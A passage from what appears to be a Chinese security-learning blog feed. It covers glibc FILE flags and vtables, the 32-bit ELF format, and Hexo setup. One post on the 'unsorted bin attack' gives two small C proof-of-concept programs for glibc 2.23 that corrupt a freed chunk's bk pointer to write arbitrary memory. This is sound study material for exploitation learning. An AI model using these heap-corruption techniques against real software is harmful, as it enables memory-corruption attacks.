align="left"><code>_IO_ERR_SEEN</code></td><td>0x0020</td><td>错误指示器</td></tr><tr><td align="left"><code>_IO_EOF_SEEN</code></td><td>0x0010</td><td>文件结束指示器</td></tr><tr><td align="left"><code>_IO_NO_WRITES</code></td><td>0x0008</td><td>禁止写操作</td></tr><tr><td align="left"><code>_IO_NO_READS</code></td><td>0x0004</td><td>禁止读操作</td></tr><tr><td align="left"><code>_IO_USER_BUF</code></td><td>0x0001</td><td>用户提供的缓冲区</td></tr><tr><td align="left"><code>_IO_DELETE_DONT_CLOSE</code></td><td>0x0040</td><td>关闭流时不关闭底层文件描述符</td></tr><tr><td align="left"><code>_IO_LINKED</code></td><td>0x0080</td><td>流与其他流链接</td></tr><tr><td align="left"><code>_IO_IN_BACKUP</code></td><td>0x0100</td><td>备份模式</td></tr><tr><td align="left"><code>_IO_LINE_BUF</code></td><td>0x0200</td><td>行缓冲模式</td></tr><tr><td align="left"><code>_IO_TIED_PUT_GET</code></td><td>0x0400</td><td>输入和输出指针绑在一起</td></tr><tr><td align="left"><code>_IO_CURRENTLY_PUTTING</code></td><td>0x0800</td><td>当前正在执行写操作</td></tr><tr><td align="left"><code>_IO_IS_APPENDING</code></td><td>0x1000</td><td>追加模式</td></tr></tbody></table><h1 id="虚表:"><a href="#虚表:" class="headerlink" title="虚表:"></a>虚表:</h1><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">struct</span> <span class="hljs-title class_">_IO_jump_t</span><br>{<br> <span class="hljs-built_in">JUMP_FIELD</span>(<span class="hljs-type">size_t</span>, __dummy);<br> <span class="hljs-built_in">JUMP_FIELD</span>(<span class="hljs-type">size_t</span>, __dummy2);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_finish_t, __finish);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_overflow_t, __overflow);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_underflow_t, __underflow);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_underflow_t, __uflow);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_pbackfail_t, __pbackfail);<br> <span class="hljs-comment">/* showmany */</span><br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_xsputn_t, __xsputn);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_xsgetn_t, __xsgetn);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_seekoff_t, __seekoff);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_seekpos_t, __seekpos);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_setbuf_t, __setbuf);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_sync_t, __sync);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_doallocate_t, __doallocate);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_read_t, __read);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_write_t, __write);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_seek_t, __seek);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_close_t, __close);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_stat_t, __stat);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_showmanyc_t, __showmanyc);<br> <span class="hljs-built_in">JUMP_FIELD</span>(_IO_imbue_t, __imbue);<br><span class="hljs-meta">#<span class="hljs-keyword">if</span> 0</span><br> get_column;<br> set_column;<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br>};<br><br></code></pre></td></tr></table></figure><p>虚表只是模板,虚表变量有多个,虚表变量不允许修改,被映射到不可写段。</p><p>全局文件流链表指针</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">extern</span> <span class="hljs-keyword">struct</span> <span class="hljs-title class_">_IO_FILE_plus</span> *_IO_list_all;<br></code></pre></td></tr></table></figure><p>文件流链表采用头插法</p><p><img src="/2024/05/10/Pwn/IO/IO/image-20230815003537182.png" alt="image-20230815003537182"></p><p>glibc中的open read write 是对系统调用的简单封装,也有printf scanf fopen 等,后者主要围绕FILE结构体进行的操作</p>]]></content>
<categories>
<category>Pwn</category>
<category>IO</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>ELF结构解析</title>
<link href="/2024/05/06/ELF/ELF/"/>
<url>/2024/05/06/ELF/ELF/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>本文为对ELF结构的大致解析,意在Pwn 及Linu恶意代码方面打好基础,参考资料参考ELF文件格式分析(滕启明) -北京大学信息科学技术学院操作系统实验室</p><p>本文讨论的是32位下的文件结构,参考资料好像也是32位的</p><p><img src="/2024/05/06/ELF/ELF/image-20240506231459226.png" alt="image-20240506231459226"></p><p><img src="/2024/05/06/ELF/ELF/image-20240514223524467.png" alt="image-20240514223524467"></p><p>目标格式如上图,链接视图是磁盘文件的结构,执行视图是目标文件被加载到内存的结构</p><p>ELF头部描述了整个文件</p><p>程序头部表(Program Header Table) 被用于指导如何创造进程映像,被映射的目标文件必须具有程序头部表</p><p>节区头部表(Section Heade Table) 描述了节区的相关信息,每个节区的信息都被包含在此</p><p>除了ELF头部必须在开头,其他结构没有必定的顺序,因为有字段指明了其的文件偏移</p><p><img src="/2024/05/06/ELF/ELF/image-20240506232420042.png" alt="image-20240506232420042"></p><h1 id="ELF头部"><a href="#ELF头部" class="headerlink" title="ELF头部"></a>ELF头部</h1><p>头部用以下结构表示</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">define</span> EI_NIDENT 16</span><br><span class="hljs-keyword">typedef</span> <span class="hljs-keyword">struct</span>{ <br><span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> e_ident[EI_NIDENT];<br>Elf32_Half e_type;<br>Elf32_Half e_machine;<br>Elf32_Word e_version;<br>Elf32_Addr e_entry;<br>Elf32_Off e_phoff;<br>Elf32_Off e_shoff;<br>Elf32_Word e_flags;<br>Elf32_Half e_ehsize;<br>Elf32_Half e_phentsize;<br>Elf32_Half e_phnum;<br>Elf32_Half e_shentsize;<br>Elf32_Half e_shnum;<br>Elf32_Half e_shstrndx; <br>}Elf32_Ehdr;<br></code></pre></td></tr></table></figure><h3 id="e-ident"><a href="#e-ident" class="headerlink" title="e_ident"></a>e_ident</h3><p>0<del>3 EI_MAG0</del>3 是文件表示 魔数 .ELF</p><p>4 EI_CLASS 文件类别 1:32位 2:64位 (为64位预留)</p><p>5 EI_DATA 编码方式 1高位在前 (大端) 2低位在前 (小端)</p><p>6 EI_VERSION 文件版本</p><p>7 EI_PAD 0</p><p>其余末尾全为0</p><h3 id="e-type-目标文件类型"><a href="#e-type-目标文件类型" class="headerlink" title="e_type 目标文件类型"></a>e_type 目标文件类型</h3><ul><li>1 ET_REL 可重定位文件 包含未链接的位置独立代码的文件</li><li>2 ET_EXEC 可执行文件</li><li>3 ET_DYN 共享目标文件 动态可链接的共享库</li><li>4 ET_CORE 在程序崩溃或者进程传递了一个 SIGSEGV 信 号(分段违规)时,会在核心文件中记录整个进程的镜像信息。可以 使用 GDB 读取这类文件来辅助调试并查找程序崩溃的原因。</li><li>0xff00 | 0xffff 特定处理器文件</li></ul><p>e_machine 目标体系结构</p><ul><li>1 AT&T WE 32100</li><li>2 SPARC</li><li>3 Intel 80386</li><li>4 Motorola 68000</li><li>5 Motorola 88000</li><li>7 Intel 80860</li><li>8 MIPS RS3000</li></ul><p>e_version 目标文件版本 作用??</p><ul><li>0 非法版本</li><li>1 当前版本</li></ul><p>e_entry 程序入口的虚拟地址 可以为0</p><p>e_phoff 程序头部表的偏移</p><p>e_shoff 节区头部表的偏移</p><p>e_flags 保留的标志</p><p>e_ehsize ELF头部大小 (从此看出ELF头部大小不唯一)</p><p>e_phentsize 程序头部表项大小</p><p>e_phnum 程序头部表项数量</p><p>e_shentsize 节区头部表项大小(不包括第一个NULL节区)</p><p>e_shnum 节区头部表项数量</p><p>e_shstrndx 节区头部表中与节区名称字符串表相关的表项的索引 (指明存储节区名字符串的节区的索引)</p><h1 id="节区-Sections"><a href="#节区-Sections" class="headerlink" title="节区(Sections)"></a>节区(Sections)</h1><p>节区中包含目标文件中的所有信息,除了:ELF头部、程序头部表格、节区头部表格。节区满足以下条件:</p><p> (1). 目标文件中的每个节区都有对应的节区头部描述它,反过来,有节区头部不意 味着有节区。 </p><p>(2). 每个节区占用文件中一个连续字节区域(这个区域可能长度为 0)。 </p><p>(3). 文件中的节区不能重叠,不允许一个字节存在于两个节区中的情况发生。</p><p>(4). 目标文件中可能包含非活动空间(INACTIVE SPACE)。这些区域不属于任何 头部和节区,其内容未指定。</p><h2 id="节区头部表格"><a href="#节区头部表格" class="headerlink" title="节区头部表格"></a>节区头部表格</h2><p>ELF头部中的 e_shoff 给出了节区头部表的偏移,e_shnum 给出表格中条目数目;e_shentsize 给出每个项的字节数,由此所有节区的大小长度就确定了</p><p>节区头部表中几个特殊的下标项</p><ul><li>0 未使用</li><li>0xff00 保留的下界</li><li>0xff1f 保留</li></ul><p>节区头部</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">typedef</span> <span class="hljs-keyword">struct</span>{ <br>Elf32_Word sh_name;<br>Elf32_Word sh_type;<br>Elf32_Word sh_flags;<br>Elf32_Addr sh_addr;<br>Elf32_Off sh_offset; <br>Elf32_Word sh_size;<br>Elf32_Word sh_link;<br>Elf32_Word sh_info;<br>Elf32_Word sh_addralign;<br>Elf32_Word sh_entsize; <br>}Elf32_Shdr;<br></code></pre></td></tr></table></figure><ul><li>sh_name 节区头部字符串表索引 (在节区字符串节中的NameString偏移)</li><li>sh_type 节区类型</li><li>sh_flags 标志</li><li>sh_addr 如果节区被映射到内存 为节区起始地址</li><li>sh_offset 节区的文件偏移</li><li>sh_size 节区长度</li><li>sh_link 节区头部表索引链接</li><li>sh_info 附加信息</li><li>sh_addralign 节区起始地址的对齐宽度 sh_addr % sh_addralign ==0 </li><li>sh_entsize 若节区也是类似数据的结构(例如符号表) 给出每个项的长度</li></ul><p><img src="/2024/05/06/ELF/ELF/image-20240507205934323.png" alt="image-20240507205934323"></p><h3 id="sh-type"><a href="#sh-type" class="headerlink" title="sh_type"></a>sh_type</h3><p><img src="/2024/05/06/ELF/ELF/image-20240507210010158.png" alt="image-20240507210010158"></p><p><img src="/2024/05/06/ELF/ELF/image-20240507210023104.png" alt="image-20240507210023104"></p><h3 id="sh-flags"><a href="#sh-flags" class="headerlink" title="sh_flags"></a>sh_flags</h3><p>sh_flags 字段定义了一个节区中包含的内容是否可以修改、是否可以执行等信息。 如果一个标志位被设置,则该位取值为 1。未定义的各位都设置为 0</p><p><img src="/2024/05/06/ELF/ELF/image-20240507210232091.png" alt="image-20240507210232091"></p><h3 id="sh-link-和-sh-info"><a href="#sh-link-和-sh-info" class="headerlink" title="sh_link 和 sh_info"></a>sh_link 和 sh_info</h3><p><img src="/2024/05/06/ELF/ELF/image-20240507210417017.png" alt="image-20240507210417017"></p><h3 id="特殊节区"><a href="#特殊节区" class="headerlink" title="特殊节区"></a>特殊节区</h3><p><img src="/2024/05/06/ELF/ELF/image-20240507210718276.png" alt="image-20240507210718276"></p><p><img src="/2024/05/06/ELF/ELF/image-20240507210759846.png" alt="image-20240507210759846"></p><p>以.开头的名称是系统保留的</p><h2 id="字符串表"><a href="#字符串表" class="headerlink" title="字符串表"></a>字符串表</h2><p>字符串表也属于节区 包含以NULL结尾的字符串</p><p>开头和末尾一字节均为0</p><h2 id="符号表"><a href="#符号表" class="headerlink" title="符号表"></a>符号表</h2><p>符号表中包含用来定位、重定位程序中符号定义和引用的信息</p><p>ELF中有多种符号表</p><p>**SHT_SYMTAB (静态符号表)**:</p><ul><li><strong>用途</strong>:用于在链接过程中,为链接器提供符号信息。</li><li><strong>特点</strong>:包含所有符号,包括本地和全局符号。</li><li><strong>典型使用场景</strong>:编译和静态链接阶段。</li></ul><p>**SHT_DYNSYM (动态符号表)**:</p><ul><li><strong>用途</strong>:用于运行时动态链接,为动态链接器提供符号信息。</li><li><strong>特点</strong>:只包含导出和导入的全局符号,通常比静态符号表小。</li><li><strong>典型使用场景</strong>:动态链接库(DLL/so 文件)和动态链接的可执行文件。</li></ul><p>**SHT_SYMTAB_SHNDX (扩展符号表节区索引)**:</p><ul><li><strong>用途</strong>:扩展符号表节区的索引范围。</li><li><strong>特点</strong>:用于处理超出基本 ELF 格式限制的大型符号表。</li><li><strong>典型使用场景</strong>:需要大符号表索引范围的复杂应用。</li></ul><p>表项结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> {</span><br> Elf32_Word st_name;<br> Elf32_Addr st_value;<br> Elf32_Word st_size;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> st_info;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> st_other;<br> Elf32_Half st_shndx;<br>} Elf32_Sym;<br></code></pre></td></tr></table></figure><ul><li>st_name 包含目标文件符号字符串表的索引,若为0,则符号没有地址</li><li>st_value 符号值</li></ul><p>对于函数符号 是函数的起始地址,对于全局变量,是变量地址,对于未定义符号是0</p><p>st_size 符号相关的尺寸大小 对于函数是代码长度,对于变量,是变量的宽度</p><h3 id="st-info"><a href="#st-info" class="headerlink" title="st_info"></a>st_info</h3><p>st_info 符号的类型和绑定属性</p><p>高四位表示符号绑定,低四位表示符号类型</p><p><img src="/2024/05/06/ELF/ELF/image-20240712105238277.png" alt="image-20240712105238277"></p><p>如果一个弱符号有同名的全局符号,则会被覆盖,否则将被使用,相当于给一个默认符号</p><p><img src="/2024/05/06/ELF/ELF/image-20240712105341236.png" alt="image-20240712105341236"></p><p><img src="/2024/05/06/ELF/ELF/image-20240712105352001.png" alt="image-20240712105352001"></p><p><strong>STT_NOTYPE (0)</strong>: 未指定类型(No type specified)。</p><p><strong>STT_OBJECT (1)</strong>: 数据对象(Data object),通常表示变量、数组等。</p><p><strong>STT_FUNC (2)</strong>: 函数(Function),表示函数或方法。</p><p><strong>STT_SECTION (3)</strong>: 节区(Section),表示 ELF 文件中的一个节区。</p><p><strong>STT_FILE (4)</strong>: 文件(File),表示源文件。</p><p><strong>STT_COMMON (5)</strong>: 公共块(Common block),表示一个未初始化的全局变量。</p><p><strong>STT_TLS (6)</strong>: 线程局部存储(Thread Local Storage),表示用于线程局部存储的数据对象。</p><p><strong>STT_NUM (7)</strong>: 符号类型的数量(Number of defined types)。</p><p>st_other 0 无定义</p><p>st_shndx 给出相关的节区头部表索引</p><p>根据节区的sh_link寻找对应的字符串节</p><h2 id="重定位表"><a href="#重定位表" class="headerlink" title="重定位表"></a>重定位表</h2><p>表项结构如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-keyword">typedef</span> <span class="hljs-keyword">struct</span> {<br>Elf32_Addr r_offset;<br>Elf32_Word r_info;<br>} Elf32_Rel;<br><span class="hljs-keyword">typedef</span> <span class="hljs-keyword">struct</span> {<br>Elf32_Addr r_offset;<br>Elf32_Word r_info;<br>Elf32_Word r_addend;<br>} Elf32_Rela; <br></code></pre></td></tr></table></figure><ul><li>r_offset 给出重定位的位置 对可重定位文件 此值是相比于节区头部的偏移 对可执行文件或共享目标文件 此值是虚拟地址</li><li>r_info 要进行重定位的符号表的索引</li><li>r_addend 常量补齐,用来计算将被填充到可重定位字段的数值 ???</li></ul><p>重定位节区会引用两个其它节区:符号表、要修改的节区。节区头部的 sh_info 和 sh_link 成员给出这些关系。不同目标文件的重定位表项对 r_offset 成员具有略微不同的解释。</p><p>(1). 在可重定位文件中,r_offset 中包含节区偏移。就是说重定位节区自身 描述了如何修改文件中的其他节区;重定位偏移 指定了被修改节区中的 一个存储单元。 </p><p>(2). 在可执行文件和共享的目标文件中,r_offset 中包含一个虚拟地址。为 了使得这些文件的重定位表项对动态链接器更为有用,节区偏移(针对文 件的解释)让位于虚地址(针对内存的解释)。 </p><h1 id="程序头部-Program-Header"><a href="#程序头部-Program-Header" class="headerlink" title="程序头部(Program Header)"></a>程序头部(Program Header)</h1><p>可执行文件或者共享目标文件的程序头部是一个结构数组,每个结构描述了一个段 或者系统准备程序执行所必需的其它信息。目标文件的“段”包含一个或者多个“节区”, 也就是“段内容(Segment Contents)”。程序头部仅对于可执行文件和共享目标文件有意义。</p><p>指明了段的信息,不是所有段都由文件中的内容所映射,例如.bss</p><p>依照ELF头部的e_phentsize e_phnum 字段可确定程序头部表大小</p><p>程序头部表项结构如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> {</span><br>Elf32_Word p_type;<br>Elf32_Off p_offset;<br>Elf32_Addr p_vaddr;<br>Elf32_Addr p_paddr;<br>Elf32_Word p_filesz;<br>Elf32_Word p_memsz;<br>Elf32_Word p_flags;<br>Elf32_Word p_align;<br>} Elf32_phdr; <br><br></code></pre></td></tr></table></figure><ul><li><p>p_type 段的类型</p></li><li><p>p_offset 文件头到段基址的偏移</p></li><li><p>p_vaddr 段基址</p></li><li><p>p_paddr 仅用于与物理地址相关的系统中</p></li><li><p>p_filesz 段在文件映像的大小</p></li><li><p>p_memsz 段在内存映像的大小</p></li><li><p>p_flags 段权限 rwx</p></li><li><p>p_align 对齐值 (p_vaddr | p_offset ) % p_align ==0</p><p>p_offset p_filesz 指明了段包含了哪些节,且推出在相同段的节区在文件中一定是相邻的</p><p>段类型</p></li></ul><p><img src="/2024/05/06/ELF/ELF/image-20240507233552761.png" alt="image-20240507233552761"></p><p>PT_LOAD 段可装载</p><p>PT_DYNAMIC——动态段的 Phdr </p><p>动态段是动态链接可执行文件所特有的,包含了动态链接器所必需的一些 信息。在动态段中包含了一些标记值和指针,包括但不限于以下内容: z 运行时需要链接的共享库列表; z 全局偏移表(GOT)的地址——ELF 动态链接部分(2.6 节)会讨论; z 重定位条目的相关信息</p><p>PT_INTERP </p><p>PT_INTERP 段只将位置和大小信息存放在一个以 null 为终止符的字符串 中,是对程序解释器位置的描述。例如,/lib/linux-ld.so.2 一般是指 动态链接器的位置,也即程序解释器的位置。</p><h1 id="疑问"><a href="#疑问" class="headerlink" title="疑问"></a>疑问</h1>]]></content>
<categories>
<category>ELF</category>
</categories>
<tags>
<tag>ELF</tag>
</tags>
</entry>
<entry>
<title>hexo build</title>
<link href="/2024/05/05/hexo/hexo/"/>
<url>/2024/05/05/hexo/hexo/</url>
<content type="html"><![CDATA[<h1 id="hexo-renderer-marked"><a href="#hexo-renderer-marked" class="headerlink" title="hexo-renderer-marked"></a>hexo-renderer-marked</h1><p>至今产生的问题,图片使用路径是./ 但是必须放到./filename/ 里面</p><p>造成edit和构建时显示不一致的问题</p><p><img src="/hexo/image-20240505232420256.png" alt="image-20240505232420256"></p><p>已经有人开始解决,但是截至2024/5/5还未解决</p><h1 id="文章分类与标签"><a href="#文章分类与标签" class="headerlink" title="文章分类与标签"></a>文章分类与标签</h1><p>分类有顺序性和层次性 标签没有</p><h2 id="父子分类"><a href="#父子分类" class="headerlink" title="父子分类"></a>父子分类</h2><figure class="highlight ldif"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs ldif"><span class="hljs-attribute">categories</span>:<br><span class="hljs-literal">-</span> A<br><span class="hljs-literal">-</span> B<br></code></pre></td></tr></table></figure><ul><li>A<ul><li>B</li></ul></li></ul><h2 id="同级分类"><a href="#同级分类" class="headerlink" title="同级分类"></a>同级分类</h2><figure class="highlight ldif"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs ldif"><span class="hljs-attribute">categories</span>:<br><span class="hljs-literal">-</span> [A,B,C]<br><span class="hljs-literal">-</span> [A,B,D]<br></code></pre></td></tr></table></figure><ul><li>A<ul><li>B<ul><li>C</li><li>D</li></ul></li></ul></li></ul><p>同时在A/B/C 和A/B/D 中</p>]]></content>
</entry>
<entry>
<title>Unsorted bin Attack</title>
<link href="/2024/05/05/Pwn/UnsortedbinAttack/"/>
<url>/2024/05/05/Pwn/UnsortedbinAttack/</url>
<content type="html"><![CDATA[<h2 id="原理"><a href="#原理" class="headerlink" title="原理:"></a>原理:</h2><p><img src="/2024/05/05/Pwn/UnsortedbinAttack/image-20230918152039143.png" alt="image-20230918152039143"></p><p>Poc: </p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><span class="hljs-type">int</span> a[<span class="hljs-number">10</span>]={<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>};<br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> <span class="hljs-type">int</span>* p=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x500</span>);<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> <span class="hljs-built_in">free</span>(p);<br> p[<span class="hljs-number">0</span>]=<span class="hljs-number">0</span>;<br> p[<span class="hljs-number">1</span>]=(<span class="hljs-type">long</span> <span class="hljs-type">long</span> <span class="hljs-type">int</span>)a<span class="hljs-number">-0x10</span>; <span class="hljs-comment">//写bk为 target_addr -0x10</span><br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x500</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br><br></code></pre></td></tr></table></figure><p>libc版本:2.23</p><h2 id="调试过程"><a href="#调试过程" class="headerlink" title="调试过程"></a>调试过程</h2><p><img src="/2024/05/05/Pwn/UnsortedbinAttack/image-20230918152345657.png" alt="image-20230918152345657"></p><p><img src="/2024/05/05/Pwn/UnsortedbinAttack/image-20230918152424708.png" alt="image-20230918152424708"></p><p>修改bk为target_addr-0x10</p><p><img src="/2024/05/05/Pwn/UnsortedbinAttack/image-20230918152526167.png" alt="image-20230918152526167"></p><p>再次申请与unsorted bin相同大小chunk,在目标地址处写入main_arena+88 即top chunk指针处</p><p><img src="/2024/05/05/Pwn/UnsortedbinAttack/image-20230918152639050.png" alt="image-20230918152639050"></p><h2 id="tips"><a href="#tips" class="headerlink" title="tips:"></a>tips:</h2><p>如果申请与unsorted bin大小不同的chunk,能造成attack, 但是malloc会报错导致调用abort </p><h2 id="问题"><a href="#问题" class="headerlink" title="问题:"></a>问题:</h2><p>unsorted bin attack会对main_arena造成什么伤害,能不能进行二次attack?</p><p><img src="/2024/05/05/Pwn/UnsortedbinAttack/image-20230919145407350.png" alt="image-20230919145407350"></p><p>会在main_arena + 112处 写入目标地址+0x10</p><p>将其修改成104位置的原始值即可二次unsorted bin attack</p><h3 id="poc"><a href="#poc" class="headerlink" title="poc"></a>poc</h3><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdlib.h></span></span><br><br><span class="hljs-type">int</span> a[<span class="hljs-number">10</span>]={<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">3</span>,<span class="hljs-number">4</span>,<span class="hljs-number">5</span>};<br><span class="hljs-type">int</span> b[<span class="hljs-number">10</span>]={<span class="hljs-number">6</span>,<span class="hljs-number">7</span>,<span class="hljs-number">8</span>,<span class="hljs-number">9</span>};<br><span class="hljs-meta">#<span class="hljs-keyword">define</span> llt long long int</span><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{<br> <span class="hljs-built_in">fprintf</span>(stdout,<span class="hljs-string">"unsorted bin attack\n"</span>);<br> <span class="hljs-type">long</span> <span class="hljs-type">long</span> <span class="hljs-type">int</span>* p=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x500</span>);<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x10</span>);<br> <span class="hljs-built_in">free</span>(p);<br> <span class="hljs-comment">//p[0]=0;</span><br> p[<span class="hljs-number">1</span>]=(<span class="hljs-type">long</span> <span class="hljs-type">long</span> <span class="hljs-type">int</span>)a<span class="hljs-number">-0x10</span>;<br> <span class="hljs-type">void</span>* p1=<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x500</span>);<br> <span class="hljs-built_in">fprintf</span>(stdout,<span class="hljs-string">"%p\n"</span>,*(llt*)a);<br> <span class="hljs-comment">//rebuild bins</span><br> llt* p2=*(llt*)a;<br> p2[<span class="hljs-number">3</span>]=p1<span class="hljs-number">-0x10</span>;<br> p[<span class="hljs-number">1</span>]=(<span class="hljs-type">long</span> <span class="hljs-type">long</span> <span class="hljs-type">int</span>)b<span class="hljs-number">-0x10</span>;<br> <span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x500</span>);<br> <span class="hljs-built_in">fprintf</span>(stdout,<span class="hljs-string">"%p"</span>,*(llt*)b);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br><br></code></pre></td></tr></table></figure><p>经测试 fd修改与否没有影响</p>]]></content>
<categories>
<category>Pwn</category>
<category>Heap</category>
</categories>
</entry>
<entry>
<title>概述</title>
<link href="/2024/05/04/OS/%E6%A6%82%E8%BF%B0/"/>
<url>/2024/05/04/OS/%E6%A6%82%E8%BF%B0/</url>
<content type="html"><![CDATA[]]></content>
<categories>
<category>OS</category>
</categories>
<tags>
<tag>操作系统真相还原</tag>
</tags>
</entry>
<entry>
<title>保护模式入门</title>
<link href="/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/"/>
<url>/2024/05/04/OS/%E4%BF%9D%E6%8A%A4%E6%A8%A1%E5%BC%8F%E5%85%A5%E9%97%A8/</url>
